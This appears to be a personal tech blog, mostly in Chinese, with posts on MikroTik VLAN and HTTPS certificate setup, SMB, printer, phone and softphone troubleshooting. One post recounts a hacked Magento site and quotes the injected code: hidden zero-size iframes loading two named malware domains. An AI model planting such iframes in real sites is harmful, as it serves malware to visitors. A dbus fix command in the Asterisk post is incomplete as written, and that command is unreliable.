Blog

  • Mikrotik hybrid VLAN port

    我就想吐槽一下自己,我整整一个圣诞到新年的假期,都在研究如何在 Mikrotik router 上做一个 hybrid VLAN port。其实我可能第一天就做出来了,但是怎么都不生效,让我觉得可能自己还不会设置,反复调整,直到今天我才发现,原来是忘了 Mikrotik router 和我的目标设备之间还有一个 EdgeSwitch。

    之前我创建了 VLAN trunk,我想在此基础上加一个 untagged VLAN,以便进入一对未设定 management VLAN 设备 Metrolinq 的管理界面。

    我完全忘了这一对 Metrolinq 并有没有直接接入 Mikrotik router,而是接入了 EdgeSwitch,EdgeSwitch 再接入 Mikrotik router。这也是最近网络基础设施大升级的一部分,这么做的好处是用 EdgeSwitch POE 供电给 Metrolinq,抛弃 Metrolinq 原配的 POE adapter,因为我感觉原配的 POE adapter 似乎不太稳定,发生过多次莫名其妙的断网,靠重启 POE adapter 恢复。

    所以,不管我在 Mikrotik router 做什么调整,EdgeSwitch 仍是原来那个 VLAN trunk,新增的 untagged VLAN 根本到不了 Metrolinq。

    我的假期就这么浪费掉了,本来可以干很多其他事情的。也不是完全没有收获,反复研读 Mikrotik Wiki,理解力有点提高。

  • Enable https access to Mikrotik router and eliminate unsecure warning in Chrome

    黑五前入手了一台 Mikrotik CCR1036-12G-4S-EM Cloud Core Router,准备用它取代 DrayTek 2860,迎接千兆网的到来。1gbps 还未普及到我的区域,我只是未雨绸缪了。

    DrayTek 2860 充其量只能是给 home office 和 small business 用的,现在带机量虽有增加,但还不到 50,就有点力不从心,有点小失望。但它这么多年来一直勤勤恳恳,不用怎么重启,我不说它不好,只是现在有更高的要求了。

    即将到来的 1gbps 宽带将是 1gbps 对称的上下行,我非常期待 1gbps 的上行带宽能给 work from home 带来质的飞跃(对比目前的 15mbps)。这对路由器的 VPN 吞吐速率提出了很高的要求,我曾一时也不知道该选什么路由器来做高速率的 VPN 连接,我也不想自建一台 VPN server,担心搞不好被人攻击。我花了很多天在搜索合适的路由器,眼前出现频率较高的是 Netgear AX12。Netgear AX12 毕竟是个家用级的产品,quad core 满足 1gbps 下行是没问题,但能否满足 1gbps 加密上行?指标上没有提及,我也表示怀疑。某天我突发奇想,如果 quad core 不够用,那就找找 octa core。

    Octa core router 的搜索结果中就出现了 Mikrotik CCR1036,尽管它可不止八核,而是 36 核!感谢 Google 成功地将我的关注点带到了 Mikrotik CCR1036。它强悍的性能完全可以满足今后 5 到 10 年的需求,而且它的价格很亲民(与 Cisco 比)。

    好了,于是我下手买了一台 Mikrotik CCR1036-12G-4S-EM。说了一堆废话,无非在强调此路由器的专业性。

    之前我访问 DrayTek 2860 的 https web UI,从来没想过要把浏览器里吓唬初学者的不安全提示给去掉。我不是初学者,我没被吓唬住,也就懒得理会。如今调试专业的路由器,我就萌生一个想法,让我的 Chrome 浏览器不要再出现不专业的不安全提示。

    以下步骤主要借鉴了 https://wiki.mikrotik.com/wiki/Manual:Webfig,但有所改动,否则不能消除 Chrome 的不安全提示。

    1,生成一个根证书并自签

    /certificate
    add name=LocalCA common-name=LocalCA country=UK key-usage=key-cert-sign,crl-sign 
    sign LocalCA

    注意:生成证书时一定要加国别,否则 Chrome 拒绝导入这个根证书(导入显示成功,但实际没有导入)

    2,生成 WebFig 用的 SSL 证书并由刚发行的根证书签发它

    /certificate
    add name=Webfig common-name=webfig.local subject-alt-name=DNS:webfig.local
    sign Webfig ca=LocalCA

    注意:如果 subject-alt-name 仅写 DNS:webfig,浏览器仍会认为不安全,必须是 FQDN 或 IP address。

    3,启用刚生成的 Webfig 证书

    /ip service
    set www-ssl certificate=Webfig disabled=no

    注意:若遇到 www-ssl 启动失败,其中一个可能是端口冲突,默认端口 443 被 SSTP 服务器占用。SSTP 服务器在 /interface/sstp-server/server 调整。

    4,添一个 static DNS,将 webfig.local 解析到路由器的 IP address

    /ip dns static
    add name=webfig.local type=A address=192.168.88.1
    /ip dns
    set allow-remote-requests=yes

    注意:仅在内网用路由器作 primary DNS(必须启用 allow remote requests,否则路由器不响应静态解析请求)可行。在外网就得用 hosts 文件做个指向。

    5,用 Chrome 访问 https://webfig.local,首次访问当然会被提示非安全连接,忽略之继续访问,然后点地址栏左边的小图标,查看证书,选中根证书,保存到本地硬盘。然后在 Chrome 设置里管理证书,将刚才保存的证书导入到受信任的根证书类。

    6,重启 Chrome 再次访问 https://webfig.local,就不再有恼人的提示了。

  • Solve Wi-Fi refuse to connect

    刚才遇到一个奇葩问题:Wi-Fi 路由器和终端都没有改动过设置,也没有超载荷,原来能接入的终端都被拒绝,重启路由器也没用,重启终端更没用。

    我以前遇到过拒绝接入,我认为是路由器部分死机引起,重启路由器后都能接入。这次遇到在 Virgin Media Hub3 上,所有手机不能接入 Master SSID,却能接入 Guest SSID,重启路由器 N 次都没有用,最后登录路由器,随意改了一点设置,才把 Wi-Fi 从假死状态救活。

    我认为这是路由器的某个 bug,该症状很难被复制,我的解决方案也不具有代表性,我仅在此做个笔记,提示此类 bug 的存在。

  • Huawei & me

    刚又买了一台华为设备,却第一次买她的电脑。

    Huawei laptop order
    Huawei laptop order

    认识华为,始于 Mate 7。从此没换过其他手机品牌。在我手上所有的华为手机,从来没有在我想主动升级前出现故障,或变慢,或充不了电。

    我选择华为,是因为她的产品价值,我觉得跟爱国主义情怀毫无关系。£2000 的套装,年末价 £1270,让我深深感受到了一个字——值。

    如果只是单纯的爱国主义情怀,我应该在中国下单,不用给英国政府交 VAT。但中国方面促销力度并不大,我何必折腾。

    但是,如果华为消费的是用户的情怀,那她是没有前途的。一个真正的好产品,必须要有她自身的价值。所以,我这样的用户才是华为真正需要的支持者。哈,我自封的,华为可能不这么想,因为对于她目前想主推的 5G 基站,我买不起;5G 终端,我也没有任何想买的意思。

    个人电脑品牌中,有几个被我列为不再受信赖的品牌。Lenovo 是一个,刚收购 IBM 那阵是不错的,但自从不能使用 ThinkPad 商标后,质量堪忧,买三台都没使用到想淘汰的时候就坏了,似乎品控随着 ThinkPad 而消失。

  • Windows cannot access WD Mybookworld CIFS share problem resolved

    我有一台 Windows 10 家庭版的电脑,无法访问 WD Mybookworld CIFS。具体症状是访问 \\wd_ip_address 就被拒绝,但该 IP 地址可以被 ping,也可以访问 WD Mybookworld 的 web UI。

    为了找出问题所在,我进行了完整的交叉替换测试。我先试着用它借用一个 IP 访问 WD Mybookworld CIFS,被拒绝,该 IP 在其他电脑上使用正常;然后用它来访问同一网络内的另一台 NAS 下的 CIFS,这是一台自建的 NAS,装的系统是 FreeNAS,可以访问;接着用另一台 Windows 10 家庭版的电脑访问了 \\wd_ip_address,也能访问。所以问题仅限于一台特定的电脑访问特定的 NAS,查看了 WD Mybookworld 里的设置,没找到能拒绝特定 IP 访问的设置,即使有,似乎也不太可能做过这样的限制。

    找啊找,最后发现是 Windows 10 “SMB 1.0/CIFS File sharing support” 被关闭了,需要在控制面版 >> 程序和功能 >> 启用或关闭 Windows 功能里重新启用。估计 WD Mybookworld CIFS 用的是 SMB 1.0,而 FreeNAS 用了更高版的 SMB,所以这个 Windows 共享文件夹的问题只影响了特定的机型。

    我还是不懂怎么就把这一台 Windows 10 “SMB 1.0/CIFS File sharing support” 给关闭的,反正感觉 Windows 10 毛病挺多的。

  • Solved “31.41 Missing or Defective Cartridge Error” for Lexmark C746dn printer

    最近我碰到的设备故障多到来不及处理,它们就处于瘫痪状态,等我有空了慢慢修。好在设备多,坏几个不至于工作无着,但毕竟影响效率。今天修好一台打印机故障,还是令人高兴。

    这是一台 Lexmark C746dn 彩色激光打印机,开机后显示 “31.41 Missing or Defective Cartridge Error”。在 Web UI 显示不出黑色碳粉盒信息,我想故障出在黑色碳粉盒上。我多次取出、再装回黑色碳粉盒,都无法让这个 31.41 错误消失。

    无数次 Google 之后,终于发现有人提到 Cartridge Contact Replacement Cables (FRU part number 41X0444)。这个信息很有用,我已来不及看用户手册查 Cartridge Contact Cable 在哪儿,只是搜索了一下它大致长什么样,然后打开粉仓,把我目光都能看到的长得有点像 Cartridge Contact Cable 的线都摸了一遍,然后关好粉仓,31.41 错误消失了!等待机器自检的过程中,我还在想,要不要拿螺丝刀开后盖检查主板接线呢。完全不用!正常如往常!

  • Do not run Asterisk as root user

    我用的 FreePBX 带的 Asterisk 是很久以前安装的,也没有关心过它是不是以 root 身份运行,直到最近被攻击。

    攻击的症状是有大量的流量访问,伴随流量不停在 /tmp 目录下生成 1-2 GB 的垃圾文件,产生文件的速度似乎跟流量大小相关。

    我不懂此次攻击的原理,但我发现原来一直以来 Asterisk 都是以 root 身份运行,我也知道这不合适。同时我也发现系统里早已有 asterisk 用户和 asterisk 组,程序、配置文件和文件夹的属主和属组都已是 asterisk 和 asterisk,也许攻击者对 Asterisk 做了提权。

    不管怎样,我得先把 Asterisk 改为非 root 身份运行。因为我的 Asterisk 以 service 方式启动,所以我在 /etc/init.d/asterisk 里增加了两行:

    AST_USER="asterisk"
    AST_GROUP="asterisk"

    重启就 OK 了。流量正常了,/tmp 下也不再生产垃圾文件,但不知道攻击有没有消失,至少漏洞堵上了。

    在堵漏洞的过程中还有个插曲:一开始还不清楚是不是操作系统层面的漏洞,我一上来就来一个

    yum update -y

    结果重启后发现系统瘫痪了,连 ssh 也进不去,只好用 console 登录,发现尝试用 service 启动任何服务时都会出现类似的错误信息。

    Error getting authority: Error initializing authority: Could not connect: Connection refused (g-io-error-quark, 44)

    据说这是 CentOS 在某个阶段升级特有的毛病。执行以下命令就好了:

    mv /var/run/dbus/system_bus_socket

    ln -s /run/dbus/system_bus_socket /var/run/dbus/system_bus_socket

  • Magento site was compromised

    It was my first time to see a hacker is close to me.

    I was flooded with notification emails from Google Adsense subjected “Your AdSense Publisher Policy Violation Report” from yesterday afternoon. I immediately tried to visit either blog.goods-pro.com or goods-pro.com to see what was going on. I got a scary warning message saying either site contains malware by Chrome and Firefox (on desktop. Chrome for Android does not do safe browsing check. I don’t know if Firefox does so.)

    It took me a while to find out which site contains malware. As blog.goods-pro.com was using AdSense but goods-pro.com wasn’t, at first I thought it was blog.goods-pro.com that were hacked. blog.goods-pro.com was powered by WordPress, so I went through all the plugins and compared with my other WordPress sites, I didn’t find a suspicious plugin.

    Then I started to look into the main domain site goods-pro.com, which was installed with Magento. It took me quite a while for me to know there was a good tool from https://sitecheck.sucuri.net/ to check what malware was on the site.

    Then it took me another while to find out how the hacker did it. Basically the hacker compromised one of admin’s (not mine) password, and add the following code in three places (design/footer/copyright, design/head/includes, design/footer/absolute_footer) in Magento System >> Configuration.

    <iframe src=”https://hersosx2sk.tk/Rnjqs3″ frameborder=”0″ width=”0″ height=”0″></iframe><iframe src=”https://mytokeasn2s.ru/mwRwD7″ frameborder=”0″ width=”0″ height=”0″></iframe>

    hersosx2sk.tk and mytokeasn2s.ru are malware sites. And if a site links to them, it is regarded as malware site as well. 

    When I disabled access of compromised admin accounts (without removing the injected code), I found Chrome and Firefox stopped giving that scary warnings, and visits to hersosx2sk.tk or mytokeasn2s.ru are redirected to Google. I don’t understand how Google can take control of these domains so quick, but anyway, it is not my business.

    At last I removed all malware codes and requested AdSense a review of blog.goods-pro.com.

  • 对孩子有信心他就能成才,对华为有信心她就能开机

    Huawei Mate 9
    Huawei Mate 9

    我有一台华为新手机 Mate 9,半年前开了一次机,没有插SIM卡也没有关机就扔在抽屉里扔了半年多。因为 Mate 8 太强悍,丝毫没有退休的迹象,直到皮套磨得实在不成样子,想起来还是换个新机子吧。捞出 Mate 9 一看,没电并且充不进电(充电灯不亮)。网上查了一下这种症状,术语叫做慢速放电(因为没有 SIM 和 Wi-Fi)、长时间闲置而导致的过度放电,简单点说就是电池放电放到连充电的力气都没有了。解决的办法是以下几种:

    • 用电脑 USB 口充电
    • 不管有没有反应,就一直插着充
    • 长按 Power 键
    • 长按 Power 和 Volume – 两键
    • 把电池取出来充电

    除了最后一种没试过,其他我都多次试过,没有用。非得送修才能开机吗?我始终觉得华为质量不会辜负善良的我,所以我就把 Mate 9 一直充电,哪怕它丝毫没有反应。直到有一天,我坐在沙发上看孩子们玩跳舞毯,刚好 Mate 9 在沙发边默默地被充电。这时我心里有一种不股哪里来的坚定的信念:华为的高端机型、又是全新的,还没开始用就去返修的几率是极小的,在我这里可以忽略,我要把她弄醒过来。手里闲着也是闲着,于是我开始重复做以下动作:

    1. 按住 Power 和 Volume – 两键十秒钟
    2. 放开十秒钟
    3. 把 Type C 拔出来十秒钟后再插回去

    不知做了几个周天,突然,Mate 9 在手心了轻微震了一下。我大喜,低头一看充电灯以 1 Hz 的频率一闪一灭,我不敢再动,任由她呼吸个把小时,再尝试开机。发现不能用 Power 一键开机,就用 Power 和 Volume – 两键强制开机。不管是一键还是两键,能够开机就是好机。这时我发现之前呼吸灯状态并没有被充电,开机以后才开始充电。充满后第一次拔了 Type C,Mate 9 突然就掉电关机,但这只是小插曲,再次开机就一次正常了。

    华为果然不负我所望!

  • Best SIP client soft phone is GS Wave

    I have tried almost every VOIP soft phone app on Google Play. Before I found GS Wave, I reckoned Zoiper app was the best soft phone, thus I paid for its premium version to get its premium feature of video call.

    However I never got this feature working. I wanted to see the video from my video door phone on my mobile with Zoiper. My video door phone supports H264 video codec but Zoiper supports VP8 unless I pay Zoiper again just for H264 codec . Unlike audio codec while a VOIP server can translate audio codec between clients, video codec is said to be P2P. (There may be a way of video codec translation, but I don’t know how.)

    I had video calls working between my video door phone and desktop SIP phones which are “hard phones” with H264 built in. And I had audio calls working on all devices. So I was not desperate for video on Zoiper.

    Zoiper has a major defect. It cannot stay online 24/7 on latest Android version (I tested on two Huawei Mate 8 and one P9) or iOS. Many times status bar shows it is online but actually it is not reachable. Zoiper was reliable on Android 4.x.x. I guess Zoiper “forgets” to re-register itself when OS goes into sleep. For above reasons I am reluctant to pay Zoiper any more money.

    Recently I visited Fanvil website and discovered Fanvil had developed a soft phone called “Vdroid” for free download. To my surprise, Vdroid integrated G729 audio codec and H264 video codec. They are premium codec as on Zoiper. (Later on I learnt G729 patent expired on 1st Jan, 2017 but Zoiper is still selling G729 for money. I knew nothing about H264.) However Vdroid has too many bugs and is not a mature software.

    Then I thought other VOIP device manufacturers might have their own soft phones for public. I checked Grandstream, Yealink and Cisco but only found Grandstream generously offering GS Wave. GS Wave has both Android and iOS version, and both works reliably, and both has G729 and H264 built in for free! I cannot wait any longer to recommend GS Wave to everyone. Google Play is overwhelmed by other apps for search results of “sip” or “voip”, and GS Wave is nowhere in the ranking. But trust me, it is the best one.